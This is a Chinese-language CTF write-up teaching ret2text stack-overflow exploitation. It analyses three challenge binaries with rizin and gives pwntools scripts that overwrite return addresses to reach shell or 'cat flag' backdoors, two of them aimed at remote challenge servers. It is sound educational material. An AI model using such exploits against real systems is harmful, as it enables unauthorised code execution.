Pwn ret2text in x86

ret2text 的意思是返回到特定代码段.

程序被装载后, 在(虚拟)内存中是这样的:

/pwn-ret2text-in-x86/img/memory.jpeg
Linux进程地址空间布局 (图源 «程序员的自我修养»)

调用一个函数的时候, 内存中栈上的数据是这样排列的:

/pwn-ret2text-in-x86/img/stack-frame.jpeg
栈帧 (图源 «程序员的自我修养»)

其中, 返回地址Return Address 指的是函数执行完成之后, 要执行的下一条指令的地址.

可以看到, 栈是从高位向低位增长的, 而数组是从低位向高位填充的. 也就是说, 如果 数组越界 不加处理, 我们可以 覆盖掉返回地址, 从而控制程序的运行.

然而, 在开启了 栈不可执行保护NX 的程序中, 我们不能够在栈中写入 shellcode, 覆盖掉返回地址一般来说是程序代码段中的内容.

call 指令先 push 下一个命令的地址(返回地址), 再 jmp. leave 是恢复上一个栈桢, retpop eip.

中括号表示取地址所指向的内存.

注意, 参数压栈有两种形式, 一种是遇到一个就 push 一次. 另一种是先 sub esp 大一点, 然后填充 mov [esp + n], x, 作为参数.

这两种最后的结果是一样的, 而第二种在多次调用函数的时候, 可以减少 push 的次数, 提高性能. 要看出来这种赋值也是压栈.

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2text

1
2
3
rizin ret2text
aaa
iI

可以看到一些信息, 这里摘取最主要的信息

arch     x86
bintype  elf
bits     32
endian   LE
relro    partial
canary   false
PIE      false
NX       true

x86 架构, elf 格式, 32 位, 小端序. 没有栈保护 (canary), 没有地址无关可执行 (PIE), 部分重定位只读 (relro), 栈不可执行 (NX).

栈地址没有可执行权限, 不能直接输入 shellcode 到栈上然后执行它. 没有 canary 就方便了我们直接覆盖返回地址. relro 暂时用不到. 没有 PIE, 程序每次装载的地址都是固定的, 这也方便了我们定位需要执行的指令.

afl 查看函数:

0x08048500    1 33           entry0
0x080484c0    1 6            sym.imp.__libc_start_main
0x08048540    4 42           sym.deregister_tm_clones
0x08048570    4 55           sym.register_tm_clones
0x080485b0    3 30           sym.__do_global_dtors_aux
0x080485d0    4 45   -> 44   entry.init0
0x08048740    1 2            sym.__libc_csu_fini
0x08048530    1 4            sym.__x86.get_pc_thunk.bx
0x08048744    1 20           sym._fini
0x080485fd    3 75           dbg.secure
0x08048470    1 6            sym.imp.time
0x080484b0    1 6            sym.imp.srand
0x080484e0    1 6            sym.imp.rand
0x080484f0    1 6            sym.imp.__isoc99_scanf
0x08048490    1 6            sym.imp.system
0x080486d0    4 97           sym.__libc_csu_init
0x08048648    1 126          dbg.main
0x080484d0    1 6            sym.imp.setvbuf
0x08048480    1 6            sym.imp.puts
0x08048460    1 6            sym.imp.gets
0x08048450    1 6            sym.imp.printf
0x0804841c    3 35           sym._init
0x080484a0    1 6            loc.imp.__gmon_start

可以看到, 除了系统函数之外, 有两个函数: main 和 secure. 定位到 main, 反编译一下:

1
2
s main
pdg
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
undefined4 dbg.main(void)
{
    undefined auStack116 [112];

    // int main();
    sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
    sym.imp.setvbuf(_reloc.stdin, 0, 1, 0);
    sym.imp.puts("There is something amazing here, do you know anything?");
    sym.imp.gets(auStack116);
    sym.imp.printf("Maybe I will tell you next time !");
    return 0;
}

很明显, 这里调用了 gets 函数. gets 不会检查读入的大小, 所以程序存在栈溢出漏洞.

然后看看我们能够利用什么. 定位到 secure 函数, 查看反编译代码

1
2
s secure
pdg
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
void dbg.secure(void)
{
    undefined4 uVar1;
    int32_t var_10h;
    int32_t var_ch;
    int input;
    int secretcode;

    // void secure();
    uVar1 = sym.imp.time(0);
    sym.imp.srand(uVar1);
    var_ch = sym.imp.rand();
    sym.imp.__isoc99_scanf(0x8048760, &var_10h);
    if (var_10h == var_ch) {
        sym.imp.system("/bin/sh");
    }
    return;
}

可以发现, 这里执行了 system("/bin/sh"), 那么可以利用栈溢出, 覆盖 main 函数的返回地址, 到 system("/bin/sh") 这条语句的地方.

pdf 查看反汇编, 记录下这条语句的地址, 为 0x0804863a (注意要从传参开始)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
	            ;-- secure:
	┌ dbg.secure ();
	│           ; var int32_t var_10h @ ebp-0x10
	│           ; var uintptr_t var_ch @ ebp-0xc
	│           ; var int input @ ebp-0x8
	│           ; var int secretcode @ ebp-0x4
	│           ; var int32_t var_4h @ esp+0x4
	│           0x080485fd      push  ebp                                  ; ret2text.c:6 ; void secure();
	│           0x080485fe      mov   ebp, esp
	│           0x08048600      sub   esp, 0x28
	│           0x08048603      mov   dword [esp], 0                       ; ret2text.c:8 ; time_t *timer
	│           0x0804860a      call  sym.imp.time                         ; time_t time(time_t *timer)
	│           0x0804860f      mov   dword [esp], eax                     ; int seed
	│           0x08048612      call  sym.imp.srand                        ; void srand(int seed)
	│           0x08048617      call  sym.imp.rand                         ; ret2text.c:10 ; int rand(void)
	│           0x0804861c      mov   dword [var_ch], eax
	│           0x0804861f      lea   eax, [var_10h]                       ; ret2text.c:11
	│           0x08048622      mov   dword [var_4h], eax
	│           0x08048626      mov   dword [esp], 0x8048760               ; [0x8048760:4]=0x2f006425 ; const char *format
	│           0x0804862d      call  sym.imp.__isoc99_scanf               ; int scanf(const char *format)
	│           0x08048632      mov   eax, dword [var_10h]                 ; ret2text.c:12
	│           0x08048635      cmp   eax, dword [var_ch]
	│       ┌─< 0x08048638      jne   0x8048646
	│       │   0x0804863a      mov   dword [esp], str.bin_sh              ; ret2text.c:13 ; [0x8048763:4]=0x6e69622f ; "/bin/sh" ; const char *string
	│       │   0x08048641      call  sym.imp.system                       ; int system(const char *string)
	│       └─> 0x08048646      leave                                      ; ret2text.c:14
	└           0x08048647      ret

然后去 mian 函数, 计算如何构造输入, 才能覆盖掉返回地址.

pdf 查看反汇编代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
	            ; DATA XREF from entry0 @ 0x8048517
	            ;-- main:
	┌ int dbg.main (int argc, char **argv, char **envp);
	│           ; var char *buf @ esp+0x4
	│           ; var int mode @ esp+0x8
	│           ; var size_t size @ esp+0xc
	│           ; var char *s @ esp+0x1c
	│           0x08048648      push  ebp                                  ; ret2text.c:17 ; int main();
	│           0x08048649      mov   ebp, esp
	│           0x0804864b      and   esp, 0xfffffff0
	│           0x0804864e      add   esp, 0xffffff80
	│           0x08048651      mov   eax, dword [obj.stdout]              ; ret2text.c:18 ; obj.stdout__GLIBC_2.0
	│                                                                      ; [0x804a060:4]=0
	│           0x08048656      mov   dword [size], 0                      ; size_t size
	│           0x0804865e      mov   dword [mode], 2                      ; int mode
	│           0x08048666      mov   dword [buf], 0                       ; char *buf
	│           0x0804866e      mov   dword [esp], eax                     ; FILE *stream
	│           0x08048671      call  sym.imp.setvbuf                      ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
	│           0x08048676      mov   eax, dword [obj.stdin]               ; ret2text.c:19 ; obj.__TMC_END
	│                                                                      ; [0x804a040:4]=0
	│           0x0804867b      mov   dword [size], 0                      ; size_t size
	│           0x08048683      mov   dword [mode], 1                      ; int mode
	│           0x0804868b      mov   dword [buf], 0                       ; char *buf
	│           0x08048693      mov   dword [esp], eax                     ; FILE *stream
	│           0x08048696      call  sym.imp.setvbuf                      ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
	│           0x0804869b      mov   dword [esp], str.There_is_something_amazing_here__do_you_know_anything ; ret2text.c:23 ; [0x804876c:4]=0x72656854 ; "There is something amazing here, do you know anything?" ; const char *s
	│           0x080486a2      call  sym.imp.puts                         ; int puts(const char *s)
	│           0x080486a7      lea   eax, [s]                             ; ret2text.c:24
	│           0x080486ab      mov   dword [esp], eax                     ; char *s
	│           0x080486ae      call  sym.imp.gets                         ; char *gets(char *s)
	│           0x080486b3      mov   dword [esp], str.Maybe_I_will_tell_you_next_time ; ret2text.c:25 ; [0x80487a4:4]=0x6279614d ; "Maybe I will tell you next time !" ; const char *format
	│           0x080486ba      call  sym.imp.printf                       ; int printf(const char *format)
	│           0x080486bf      mov   eax, 0                               ; ret2text.c:27
	│           0x080486c4      leave                                      ; ret2text.c:28
	└           0x080486c5      ret

可以看到, 字符串 s 定义在了 esp + 0x1c 的地方. 返回地址在 ebp + 4, 所以要覆盖它, 需要知道 s 到 ebp 的距离.

1
2
3
4
	0x08048648      push  ebp                                  ; ret2text.c:17 ; int main();
	0x08048649      mov   ebp, esp
	0x0804864b      and   esp, 0xfffffff0
	0x0804864e      add   esp, 0xffffff80

这几条指令就是压栈了, 之后 esp 和 ebp 都没动过. 所以我们可以从这里算出 esp 到 ebp 的距离, 在根据 s 在 esp + 0x1c, 计算出 s 到 ebp 的距离. 但是这里比较难受的一点是, 有一个奇怪的 and. 可能是因为每次地址都固定, 然后编译器优化了一下代码, 就变成这样了…

所以需要调试一下, 就知道距离了.

退出 rizin, 用 rizin -d 开启调试. 在 0x08048651 下个断点, 然后运行, 进入可视化模式查看寄存器的值:

1
2
3
4
5
rizin -d ret2text
aaa
db 0x08048651
dc
v
img/ctfwiki-ret2text-debug.png
可视化界面

可以看到 esp 的值是 0xffefb370, ebp 的值是 0xffefb3f8. ebp = esp + 0x88. 又因为 s = esp + 0x1c, 所以 s = ebp + 0x6c.

然后 ebp + 4 才是返回地址, 所以我们需要先填充掉 0x6c+0x4 个字节, 然后再输入想要跳转到的地址.

exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

p = process('./ret2text')

system_bin_sh = 0x804863a

payload = b'a' * (0x6c + 0x4) + p32(system_bin_sh)

p.sendline(payload)
p.interactive()

我们可以用 rizin 动态调试进程的方式查看一下栈上的数据:

/pwn-ret2text-in-x86/img/ctfwiki-ret2text-debug-stack.png
输入后栈上的数据

可以看到, ebp (0xfffa6db8) 这个地方的数据已经被填充为了 0x61616161. 而 ebp + 4 这个地方, 也就是 main 函数调用之前的返回地址, 已经被覆盖成了 0x0804863a (注意小端序).

继续单步运行, 运行完 leave 指令后, esp 变成了 ebp 的值, 也就是恢复上一个栈帧的栈顶, 而 ebp 变成了 0x61616161, 因为是 pop ebp 是从栈上取的数据, 而栈上的数据被覆盖掉了. 现在栈顶元素就是返回地址, 可以看到, 覆盖成功了:

/pwn-ret2text-in-x86/img/ctfwiki-ret2text-debug-stack-ret.png
栈顶元素是返回地址

运行完 ret 指令后, 程序就已经跳转到我们指向的这个地方, 运行了 system("/bin/sh")

/pwn-ret2text-in-x86/img/ctfwiki-ret2text-debug-sh.png
跳转到/bin/sh

接下来的例题就没有这么详细了.

https://ctf.bugku.com/challenges/detail/id/97.html

iI, x86 架构, 64 位 elf 文件, 啥保护都没开.

aaa 分析后 afl 查看函数, 发现有一个 sys.get_shell, s sym.get_shellpdg:

1
2
3
4
5
6
7
void sym.get_shell(void)
{
    sym.imp.puts("tql~tql~tql~tql~tql~tql~tql");
    sym.imp.puts("this is your flag!");
    sym.imp.system("cat flag");
    return;
}

发现是个后门函数, 其中执行了 system("cat flag").

s mainpdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
undefined8 main(void)
{
    void *buf;

    sym.imp.memset(&buf, 0, 0x30);
    sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
    sym.imp.setvbuf(_reloc.stdin, 0, 1, 0);
    sym.imp.puts("say something?");
    sym.imp.read(0, &buf, 0x100);
    sym.imp.puts("oh,that\'s so boring!");
    return 0;
}

发现 read 函数.

pdf:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
	            ; DATA XREF from entry0 @ 0x4005ed
	┌ int main (int argc, char **argv, char **envp);
	│           ; var void *buf @ rbp-0x30
	│           0x004006c6      push  rbp
	│           0x004006c7      mov   rbp, rsp
	│           0x004006ca      sub   rsp, 0x30
	│           0x004006ce      lea   rax, [buf]
	│           0x004006d2      mov   edx, 0x30                            ; '0' ; 48 ; size_t n
	│           0x004006d7      mov   esi, 0                               ; int c
	│           0x004006dc      mov   rdi, rax                             ; void *s
	│           0x004006df      call  sym.imp.memset                       ; void *memset(void *s, int c, size_t n)
	│           0x004006e4      mov   rax, qword [obj.stdout]              ; obj.stdout__GLIBC_2.2.5
	│                                                                      ; [0x601060:8]=0
	│           0x004006eb      mov   ecx, 0                               ; size_t size
	│           0x004006f0      mov   edx, 2                               ; int mode
	│           0x004006f5      mov   esi, 0                               ; char *buf
	│           0x004006fa      mov   rdi, rax                             ; FILE *stream
	│           0x004006fd      call  sym.imp.setvbuf                      ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
	│           0x00400702      mov   rax, qword [obj.stdin]               ; obj.stdin__GLIBC_2.2.5
	│                                                                      ; [0x601070:8]=0
	│           0x00400709      mov   ecx, 0                               ; size_t size
	│           0x0040070e      mov   edx, 1                               ; int mode
	│           0x00400713      mov   esi, 0                               ; char *buf
	│           0x00400718      mov   rdi, rax                             ; FILE *stream
	│           0x0040071b      call  sym.imp.setvbuf                      ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
	│           0x00400720      mov   edi, str.say_something               ; 0x400804 ; "say something?" ; const char *s
	│           0x00400725      call  sym.imp.puts                         ; int puts(const char *s)
	│           0x0040072a      lea   rax, [buf]
	│           0x0040072e      mov   edx, 0x100                           ; 256 ; size_t nbyte
	│           0x00400733      mov   rsi, rax                             ; void *buf
	│           0x00400736      mov   edi, 0                               ; int fildes
	│           0x0040073b      call  sym.imp.read                         ; ssize_t read(int fildes, void *buf, size_t nbyte)
	│           0x00400740      mov   edi, str.oh_that_s_so_boring         ; 0x400813 ; "oh,that's so boring!" ; const char *s
	│           0x00400745      call  sym.imp.puts                         ; int puts(const char *s)
	│           0x0040074a      mov   eax, 0
	│           0x0040074f      leave
	└           0x00400750      ret

发现 buf 数组定义在 rbp - 0x30 处, 并且 main 函数一共开辟了 0x30 的空间. 而 read 函数给的长度是 0x100, 存在栈溢出漏洞. 只需要把 main 的返回地址覆盖成后门函数所在地址 0x00400751 即可. 所以先填满开辟出来的栈空间 0x30, 然后填 8 个字节 (64位) 覆盖栈上的 rbp, 最后覆盖返回地址.

exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

# p = process('./pwn2')
r = remote("114.67.175.224", 13973)

get_shell = 0x00400751

payload = b'a' * (0x30 + 0x8) + p64(get_shell)

r.sendline(payload)
注意
本地调的时候没有 cat flag 成功, 不知道为啥

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5058&page=1

rizin 打开, aaa 分析 iI 查看信息: x86 架构 32 位小端序. 仅开启栈不可执行.

afl, 发现 0x0804868b 处有个后门函数 what_is_this, s sym.what_is_this, pdg:

1
2
3
4
5
void sym.what_is_this(void)
{
    sym.imp.system("cat flag");
    return;
}

s main; pdg查看 main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
undefined4 main(void)
{
    char **ppcVar1;
    char *pcStack48;
    int32_t *piStack44;
    undefined4 uStack36;
    undefined auStack32 [12];
    int32_t iStack20;
    int32_t var_ch;
    undefined *puStack12;
    int32_t var_4h;

    puStack12 = &stack0x00000004;
    piStack44 = (int32_t *)0x0;
    pcStack48 = _reloc.stdin;
    sym.imp.setbuf();
    piStack44 = (int32_t *)0x0;
    pcStack48 = _reloc.stdout;
    sym.imp.setbuf();
    piStack44 = (int32_t *)0x0;
    pcStack48 = _reloc.stderr;
    sym.imp.setbuf();
    pcStack48 = "---------------------";
    sym.imp.puts();
    pcStack48 = "~~ Welcome to CTF! ~~";
    sym.imp.puts();
    pcStack48 = "       1.Login       ";
    sym.imp.puts();
    pcStack48 = "       2.Exit        ";
    sym.imp.puts();
    pcStack48 = "---------------------";
    sym.imp.puts();
    pcStack48 = "Your choice:";
    sym.imp.printf();
    piStack44 = &iStack20;
    pcStack48 = "%d";
    sym.imp.__isoc99_scanf();
    ppcVar1 = (char **)auStack32;
    if (iStack20 == 1) {
        uStack36 = 0x804889c;
        sym.login();
    } else {
        if (iStack20 == 2) {
            pcStack48 = "Bye~";
            sym.imp.puts();
            pcStack48 = (char *)0x0;
            sym.imp.exit();
            ppcVar1 = &pcStack48;
        }
        *(char **)((int32_t)ppcVar1 + -0x10) = "Invalid Choice!";
        *(undefined4 *)((int32_t)ppcVar1 + -0x14) = 0x80488c5;
        sym.imp.puts();
    }
    return 0;
}

发现输入 1 之后跳转到 login 函数, s sym.login; pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void sym.login(void)
{
    void *var_228h;
    char *buf;

    sym.imp.memset(&buf, 0, 0x20);
    sym.imp.memset(&var_228h, 0, 0x200);
    sym.imp.puts("Please input your username:");
    sym.imp.read(0, &buf, 0x19);
    sym.imp.printf("Hello %s\n", &buf);
    sym.imp.puts("Please input your passwd:");
    sym.imp.read(0, &var_228h, 0x199);
    sym.check_passwd((char *)&var_228h);
    return;
}

读入用户名和密码, 这里边界正确, 并没有栈溢出. 发现最后调用了 check_passwd, s sym.check_passwd; pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void sym.check_passwd(char *src)
{
    char *dest;
    unsigned long var_9h;

    var_9h._0_1_ = sym.imp.strlen(src);
    if (((uint8_t)var_9h < 4) || (8 < (uint8_t)var_9h)) {
        sym.imp.puts("Invalid Password");
        sym.imp.fflush(_reloc.stdout);
    } else {
        sym.imp.puts("Success");
        sym.imp.fflush(_reloc.stdout);
        sym.imp.strcpy(&dest, src);
    }
    return;
}

可以看到, success 之后, 有一个 strcpy 函数. pdf 查看汇编, 检查 dest 到 ebp 的距离.

1
2
3
	...
	; var char *dest @ ebp-0x14
	...

dest 只需要 0x14 就可以填到 ebp, 而参数 src 在传进来的时候, 最大长度是 0x199. 也就是说, 这里存在栈溢出.

这题还涉及到整型溢出, 不讲, var_9h 是 8 位的, 而判断的时候, 转换成了无符号 8 位整数. 所以可以构造输入长度到 0x104. 测试一下, 输入 0x104 个字节, 发现输出 Success.

而填充到 ebp 需要 0x14 字节, ebp 占 4 字节, 返回地址占 4 字节, 也就是说, 还得再输入 0xe8 个字节. 只需要保证返回地址是我们想要的那个, 栈上的其他数据都无所谓, 所以输入长一点填点东西也没关系.

exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *

# p = process('./int')
r = remote('111.200.241.244', 51620)

backdoor = 0x0804868b

payload = b'a' * (0x14 + 0x04) + p32(backdoor) + b'a' * 0xe8

r.recvuntil(b"Your choice:")
r.sendline(b"1")
r.recvuntil("Please input your username:")
r.sendline(b"Wings")
r.recvuntil(b"Please input your passwd:")
r.sendline(payload)
r.interactive()

不写了, 三题差不多了.

这种题比较简单, 给出了 system("/bin/sh"). 所以步骤也很简单, 首先检查程序的基本信息, 尤其注意各个保护是否开启. 当没有开启 canary 和 PIE, 并且存在 system("/bin/sh") 之类的可以直接泄漏 flag 的函数, 那么很可能就是 ret2text 了. 找可能有的缓存区溢出漏洞, 计算写入的数据到 ebp / rbp 的距离, 然后覆盖返回地址到后门函数即可.